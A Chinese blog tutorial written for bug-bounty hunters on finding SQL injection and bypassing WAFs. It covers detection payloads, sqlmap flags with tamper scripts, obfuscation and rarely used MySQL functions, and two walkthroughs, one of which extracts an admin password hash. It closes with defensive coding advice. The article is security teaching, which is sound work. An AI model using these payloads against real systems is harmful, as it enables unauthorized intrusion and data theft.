ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

SRC实战:SQL注入挖掘与WAF绕过技术全解析

SRC实战:SQL注入挖掘与WAF绕过技术全解析

1. 项目概述:从SRC视角看SQL注入实战

在SRC(安全应急响应中心)漏洞挖掘的实战中,SQL注入始终是那个“古老”却又“常青”的漏洞类型。说它古老,是因为其原理自Web诞生之初就已存在;说它常青,是因为即便在预编译、ORM框架普及的今天,它依然能通过各种“奇技淫巧”在各类业务系统中找到突破口。对于刚入门的白帽子来说,掌握SQL注入的挖掘与利用,是构建Web安全攻防知识体系的基石。而对于经验丰富的挖掘者,每一次成功的SQL注入绕过,都是一次对业务逻辑、代码实现和防护策略的深度理解。

这篇文章,我将从一个SRC实战挖掘者的角度,抛开教科书式的理论,直接切入SQL注入的实战核心。我们不仅要理解“是什么”,更要深挖“为什么”和“怎么用”。我会结合大量真实案例中提炼出的技巧,拆解从寻找注入点到绕过WAF、再到最终利用的完整链条。无论你是想入门SRC挖掘的新手,还是希望精进技艺的老手,这里的内容都将是你手边最直接的“作战手册”。

2. 核心思路拆解:如何系统性地寻找与验证SQL注入

很多人在测试SQL注入时,往往拿着sqlmap一通乱扫,结果要么一无所获,要么触发告警被封IP。高效的SQL注入挖掘,必须建立在清晰的思路之上。这就像侦探破案,你得知道去哪里找线索,以及如何验证线索的真伪。

2.1 注入点的“全景扫描”:不止于ID参数

新手最容易犯的错误就是只盯着URL里的iduid这些明显的数字型参数。在真实的业务系统中,注入点可能隐藏在任何一个与数据库交互的角落里。

1. 参数类型的全面覆盖:

  • 显式参数:这是最基础的。包括URL参数(?id=1)、POST表单参数、Cookie值、HTTP头(如X-Forwarded-For)。
  • 隐式参数:比如伪静态URL中的数字(/news/123.html),它可能被后端路由解析为id=123。再比如JSON或XML格式的请求体,其中的某个字段也可能是注入点。
  • 业务逻辑参数:这是高产出的富矿。任何涉及数据查询、筛选、排序、分页的地方都值得深究。
    • 搜索框:keywordqsearch。尝试输入'"\
    • 筛选器:categorytypestatusfromRegion。这些参数常直接拼接到WHERE子句中。
    • 排序器:ordersortorderby。这是高危区,因为排序字段名常是动态拼接的,无法预编译。测试?sort=id变为?sort=(select 1)?sort=id?sort=id的响应差异。
    • 分页器:pagelimitoffset。测试?limit=10?limit=10;select sleep(5)--

2. 测试手法的“组合拳”:找到可疑点后,不能只用一种方法测试。我通常会按以下顺序,像剥洋葱一样层层深入:

  • 初步探测(无害):添加单引号'、双引号"。观察页面是否报错、空白、或与正常页面有细微差异(如图片加载失败、某个模块缺失)。数字型参数可以尝试?id=3?id=2+1,看结果是否一致。
  • 逻辑测试(低危):尝试构造永真和永假条件。例如,对于疑似字符型注入?name=admin,测试?name=admin' and '1'='1?name=admin' and '1'='2。如果前者返回正常结果,后者返回异常或无结果,则注入可能性极大。
  • 报错试探(中危):利用数据库报错函数。对于MySQL,可以尝试?id=1' and updatexml(1,concat(0x7e,user()),1)--+。如果页面返回了包含~root@localhost的数据库错误信息,恭喜你,找到了一个报错注入点。这一步能快速确认漏洞存在和数据库类型。
  • 盲注验证(高危):如果页面没有明确报错,但行为有差异,就需要盲注。时间盲注是最终手段:?id=1' and sleep(5)--+。观察响应时间是否明显延迟。

实操心得:不要忽略错误页面。有时主页面做了全局错误处理,但一个非关键的API接口或静态资源加载路径可能泄露详细的SQL错误。用Burp Suite的爬虫功能或主动扫描,收集所有可能的端点进行测试。

2.2 闭合方式的“外科手术”:理解SQL语句的拼接

找到注入点只是第一步,精准地“闭合”原SQL语句,并“插入”我们自己的恶意代码,才是成功利用的关键。这需要根据返回的报错信息或盲注行为,反推后端SQL的拼接方式。

常见的拼接模式与测试Payload:

后端代码猜测测试Payload(假设参数值为123预期结果与判断
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];?id=123 and 1=1
?id=123 and 1=2
数字型注入。无需闭合,直接拼接逻辑运算。
$sql = "SELECT * FROM users WHERE name = '" . $_GET['name'] . "'";?name=admin' and '1'='1
?name=admin' and '1'='2
字符型注入,单引号闭合。需要注释掉原语句末尾的引号:?name=admin'--+
$sql = "SELECT * FROM users WHERE id = (" . $_GET['id'] . ")";?id=123) and (1=1
?id=123) and (1=2
数字型,带括号。需要先闭合括号。
$sql = "SELECT * FROM users WHERE name = ('" . $_GET['name'] . "')";?name=admin') and ('1'='1字符型,带括号。需要闭合括号和引号。
$sql = "SELECT * FROM article ORDER BY " . $_GET['sort'] . " DESC";?sort=id
?sort=(select sleep(5))
排序字段注入。通常无法预编译,直接拼接。时间盲注是有效验证手段。

关键技巧:当单引号、双引号测试无效时,可以尝试反斜杠\。如果输入\后页面报错或行为改变,说明存在转义处理,可能涉及宽字节注入等特殊情况。

2.3 工具与手工的“黄金搭配”:sqlmap的正确打开方式

sqlmap是神器,但无脑使用就是“自杀式扫描”。在SRC实战中,我遵循“先手工,后工具;工具定制,精准打击”的原则。

1. 手工确认后再上工具:先用上述手工方法基本确认存在注入点、判断出数据库类型(MySQL/Oracle/SQL Server等)和闭合方式。这能极大提高sqlmap的成功率和效率。

2. 关键参数配置:直接上一个我常用的“组合拳”命令模板,适用于已确认的注入点:

python sqlmap.py -u "http://target.com/page.php?id=1" --batch --random-agent --flush-session --level 3 --risk 2 --tamper=space2comment,charencode --dbms=mysql
  • --batch: 非交互模式,自动选择默认选项。
  • --random-agent: 随机化User-Agent,避免被简单的UA规则屏蔽。
  • --flush-session: 清除之前的扫描缓存,避免干扰。
  • --level 3: 增加对RefererUser-Agent头的测试(有些注入点在这两个头里)。
  • --risk 2: 提高测试风险等级,会使用更多可能不稳定的Payload。
  • --tamper=space2comment,charencode: 使用脚本对Payload进行混淆,绕过简单的WAF。space2comment将空格替换为/**/charencode进行URL编码。
  • --dbms=mysql: 如果手工已判断是MySQL,直接指定,可大幅缩短指纹识别时间。

3. 高级场景与规避:

  • Cookie注入:使用--cookie="PHPSESSID=xxx; other=yyy"
  • POST请求:使用-r参数读取一个保存了完整HTTP请求的文件。
  • 延时调整:如果网络环境差或目标响应慢,使用--time-sec=10将时间盲注的延时阈值调高,减少误报。
  • 最重要的禁忌:切勿在未授权的情况下使用--dump-all--dump某个大表!这会产生巨大流量,极易导致目标服务异常,属于违规操作。在SRC测试中,证明漏洞存在即可,通常获取当前数据库用户--current-user、数据库名--current-db或版本--banner就足够了。

3. 绕过防御的艺术:应对WAF与非常规场景

现在的Web应用很少裸奔,多少都会有些防护措施,从简单的输入过滤到云WAF。直接扔一个union select 1,2,3很可能吃到403。这时候,绕过技巧就是你的“手术刀”。

3.1 基于规则混淆的绕过

这是最基础的绕过思路,核心是让Payload“看起来不像”恶意Payload。

1. 空白符变异:WAF的规则可能只匹配标准的空格。

  • 使用注释代替空格:union/**/select/**/1,2,3
  • 使用括号包裹:union(select(1),2,3)
  • 使用换行符或制表符(URL编码):%0a(换行),%09(制表符)。例如:union%0aselect%0a1,2,3

2. 关键词分割与混淆:

  • 内联注释:uni/**/on sel/**/ect 1,2,3。MySQL中/**/内的内容会被忽略。
  • 反引号包裹:在MySQL中,反引号可用于标识符。selectselect是等价的。可以写成sel``ect,这能绕过简单的字符串匹配。
  • 大小写混合/双写:UnIoN SeLeCTununionion selselectect(某些简单的过滤可能会移除union字符串,双写后移除中间部分,剩下的又拼成了union)。

3. 编码与特殊格式:

  • 十六进制编码:union select 1,2,3可以将其中的字符串转为十六进制,如select->0x73656c656374。Payload变为:union 0x73656c656374 1,2,3
  • URL编码:对单个字符或整个参数进行多次URL编码。'->%27->%25%32%37。有些WAF只解码一次。
  • Unicode编码:在某些上下文(如JSON)中可能有效。

3.2 利用数据库特性与冷门函数

这是更高级的绕过,需要对特定数据库的“癖好”有深入了解。

1. MySQL的“奇兵”:GTID_SUBSET与反引号如前文网络资料所述,GTID_SUBSET()是一个冷门的MySQL函数,用于检查GTID集合的子集关系,返回0或1。这使它天然适合数字型布尔盲注。

  • 经典Payload:?id=GTID_SUBSET(concat(user(),':1'),'00000000-0000-0000-0000-000000000000:1')
  • 绕过原理:大多数通用WAF的规则库聚焦于andifsleepsubstr等常见函数。GTID_SUBSET作为运维函数,很少被纳入黑名单。它不需要and连接,直接返回0或1作为id值,完美融入数字型上下文。
  • 配合反引号:如果GTID_SUBSET本身被规则化了,可以尝试`GTID_SUBSET`()`GTID`_`SUBSET`(),利用反引号分割函数名。

2. 报错注入的“新瓶旧酒”:extractvalue/updatexml的变形extractvalueupdatexml是经典的MySQL报错注入函数,但extractvalue(1,concat(0x7e,user()))这种写法早已被标记。

  • 变形技巧:
    • 非常规开头:如资料所示,用desc,开头。desc是降序关键字,在此处作为无意义的占位符,能绕过一些以extractvalue开头的规则。
    • 参数位置调整:updatexml(2,concat(0x7e,user()),1)。改变第一个数字参数。
    • concat变体:使用concat_ws(0x0a,0x0a,user()),用换行符作为分隔符,有时能绕过对concat(的检测。

3. 堆叠注入与多语句执行堆叠注入(Stacked Injection)允许执行多条SQL语句,用分号;分隔。这在某些特定场景下威力巨大,例如SQL Server中可以直接执行系统命令。

  • 测试:?id=1;select 1?id=1;select 1/0(通过制造除零错误观察响应)。
  • 利用:并非所有数据库或连接驱动都支持。PHP+MySQL的mysqli默认有时不支持(需设置CLIENT_MULTI_STATEMENTS),但PDO在某些配置下可能支持。SQL Server和PostgreSQL的支持度相对较好。
  • 实战意义:在SRC挖掘中,发现堆叠注入往往意味着高危漏洞,可能直接导致命令执行或数据篡改。

3.3 针对特定环境的技巧

1. PHP+GBK编码与宽字节注入这是一个经典漏洞,但仍有老系统存在。当数据库连接使用GBK、GB2312等宽字节编码,而PHP使用mysql_real_escape_string等函数转义单引号(在'前加\,即0x5c)时,就可能被绕过。

  • 原理:攻击者输入%df%27%df是一个GBK宽字节字符的首字节)。转义后变成%df%5c%27。在GBK编码下,%df%5c可能被解析为一个合法的中文字符(如“運”),从而“吃掉”了转义的反斜杠,使得后面的%27(单引号)逃逸出来,闭合了SQL语句。
  • 测试:在疑似字符型注入点尝试?name=%df%27 or 1=1--+

2. .NET + SQL Server的延时注入当MySQL的sleep()被拦截时,可以试试SQL Server的WAITFOR DELAY

  • Payload:?id=1';WAITFOR DELAY '0:0:5'--。这会令数据库等待5秒,通过响应时间判断注入是否成功。

3. 二阶SQL注入这是一种“存储型”的SQL注入。应用将用户输入“安全地”存入数据库,但在后续的某个逻辑中,又直接从数据库取出该数据并拼接到新的SQL语句中执行,且未经过滤。

  • 挖掘思路:关注注册、修改资料、评论等“数据入库”功能,再关注密码重置、登录、关联信息查询等“从库中读取数据并使用”的功能。例如,注册时用户名填入admin'--,后续在某个查询用户详情的功能中,这个用户名被直接拼接,就可能触发注入。
  • 测试难点:需要梳理完整的业务流,对请求进行溯源。自动化工具很难发现,主要靠人工审计和逻辑推理。

4. 从注入到利用:实战案例深度剖析

理论说再多,不如一个真实案例来得深刻。下面我分享两个在SRC实战中遇到的、具有代表性的案例,拆解其中的挖掘思路和绕过技巧。

4.1 案例一:排序参数注入绕过云WAF获取管理员密码

目标:某电商平台商品列表页。发现过程:

  1. 参数枚举:列表页有sort(排序字段)和order(排序方式,asc/desc)参数。
  2. 初步测试:测试?sort=price正常,?sort=price'页面返回一个泛化的500错误(被云WAF拦截?)。
  3. 绕过尝试:尝试在关键字中插入注释/**/?sort=pri/**/ce',依然被拦。尝试大小写、双写,无效。
  4. 转换思路:既然sort参数可能被严格过滤,试试order参数。?sort=price&order=asc正常。测试?sort=price&order=asc',页面空白!没有直接500错误,这是一个好迹象。
  5. 确认注入:构造布尔盲注Payload:?sort=price&order=asc' and '1'='1页面正常显示(按price升序)。?sort=price&order=asc' and '1'='2页面显示异常(排序混乱或无结果)。确认order参数存在字符型注入,且云WAF对order参数的检测可能弱于sort
  6. 利用报错注入:直接上报错函数,获取基础信息。?sort=price&order=asc' and updatexml(1,concat(0x7e,user()),1) and '1'='1页面返回错误信息:XPATH syntax error: '~root@localhost'。成功!数据库用户是root,权限很高。
  7. 获取表名和字段名:逐层获取数据。
    • 获取数据库名:...updatexml(1,concat(0x7e,database()),1)...->~shop_db
    • 获取表名:...updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)...-> 报错显示只能回显32位。使用substrmid函数分段读取。
    • 发现admin_users表,猜测有usernamepassword字段。
  8. 获取管理员密码哈希:构造Payload读取密码。这里需要注意,updatexml一次只能读32位,且concat会截断。使用substring函数配合limit来逐条、逐段读取。
    ?sort=price&order=asc' and updatexml(1,concat(0x7e,(select substring(concat(username,0x3a,password),1,32) from admin_users limit 0,1)),1) and '1'='1
    得到第一段:~admin:5f4dcc3b5aa765d61d8327deb882c。继续调整substring的起始位置读取剩余部分,最终拼接出完整MD5哈希。

漏洞成因:后端代码可能类似:String sql = "SELECT * FROM products ORDER BY " + sortField + " " + orderDirection;orderDirection(asc/desc)被认为是固定枚举值,未做严格过滤或预编译,直接拼接导致注入。

4.2 案例二:JSON格式请求体中的时间盲注

目标:某新型社交APP的私信搜索API。发现过程:

  1. 接口识别:通过抓包,发现一个POST /api/v1/message/search的接口,请求体为JSON:{"keyword":"hello", "page":1}
  2. 常规测试失效:keyword字段尝试hello'hello",请求被正常处理但无结果,无报错。在Burp Repeater中修改JSON格式(如删除引号)会导致400错误,说明有基础校验。
  3. 转向时间盲注:既然无回显无报错,尝试时间盲注。将keyword的值改为:hello' and if(ascii(substr(database(),1,1))>100,sleep(3),0) and '1'='1。发送请求后,观察响应时间。
  4. 遭遇WAF:请求响应很快,没有延时。可能是sleep函数被WAF识别。尝试混淆:hello'/**/and/**/if(ascii(substr(database(),1,1))>100,sleep(3),0)/**/and/**/'1'='1。依然无效。
  5. 使用冷门函数BENCHMARK:MySQL的BENCHMARK(count, expr)函数会重复执行表达式exprcount次,可用于制造延时。Payload:hello' and if(ascii(substr(database(),1,1))>100,benchmark(5000000,md5('test')),0) and '1'='1
  6. 成功触发延时:发送请求,响应时间从平时的200ms左右飙升到3秒以上!说明注入成功,且BENCHMARK绕过了WAF对sleep的检测。
  7. 自动化利用:确认注入点后,可以手工或编写脚本,通过二分法逐字符猜解数据库名、表名、数据。由于是时间盲注,过程较慢,需要耐心。

漏洞成因:后端使用JSON解析库获取keyword参数后,未经过滤直接拼接到SQL的LIKE语句中:... WHERE content LIKE '%" + keyword + "%' ...。虽然前端限制了输入,但攻击者可以直接伪造请求包。

5. 防御视角与安全开发建议

作为挖掘者,理解攻击手法是为了更好地防御。从这些案例中,我们可以总结出对开发者的关键建议:

  1. 坚持使用参数化查询(预编译语句):这是防止SQL注入最根本、最有效的方法。确保所有用户输入都作为参数传递,而不是字符串拼接。

    • Java (JDBC):使用PreparedStatement
    • PHP (PDO):使用prepare()execute()
    • Python (SQLAlchemy):使用ORM或text()函数配合参数绑定。
    • 注意:参数化查询只能处理“值”,不能处理“标识符”(如表名、列名、排序关键字)。对于这些,必须使用白名单机制。
  2. 实施严格的白名单校验:对于表名、列名、排序方向(ASC/DESC)等无法参数化的部分,必须在后端建立严格的白名单。只允许预定义的、安全的选项通过。

    // 错误示例:直接拼接 String orderBy = request.getParameter("sort"); String sql = "SELECT * FROM table ORDER BY " + orderBy; // 正确示例:白名单校验 Map<String, String> allowedSortFields = new HashMap<>(); allowedSortFields.put("price", "price"); allowedSortFields.put("time", "create_time"); String sortField = allowedSortFields.get(request.getParameter("sort")); if (sortField == null) { sortField = "id"; // 默认值 } String sql = "SELECT * FROM table ORDER BY " + sortField;
  3. 最小权限原则:数据库连接账户不应使用rootsa等高权限账户。应为Web应用创建独立的、仅具备必要权限(如SELECT,INSERT,UPDATEon specific tables)的账户。这样即使发生注入,危害也被限制在最小范围。

  4. 统一的输入输出处理:

    • 输入验证:在业务逻辑层,对输入数据的类型、长度、格式进行严格校验。
    • 输出编码:将所有输出到前端的数据进行适当的HTML编码,防止XSS等二次攻击。
    • 错误处理:自定义统一的错误页面,避免将数据库的详细错误信息(如SQL语句、堆栈跟踪)直接展示给用户。记录到安全的日志中供管理员排查即可。
  5. Web应用防火墙(WAF)的合理使用:WAF是重要的纵深防御手段,但不能依赖它作为唯一防线。它可能被绕过。WAF规则需要定期更新和维护,同时应与自研的安全检测逻辑相结合。

SQL注入的攻防是一场持续的斗争。对于白帽子而言,挖掘漏洞的过程是对系统架构和代码逻辑的极致探索。每一次绕过,都加深了对安全机制的理解。记住,最坚固的防线永远是安全意识和规范的编码实践。在SRC的实战中,保持好奇心,细致观察,大胆假设,小心验证,你总能发现那些隐藏在光影交界处的安全漏洞。

返回列表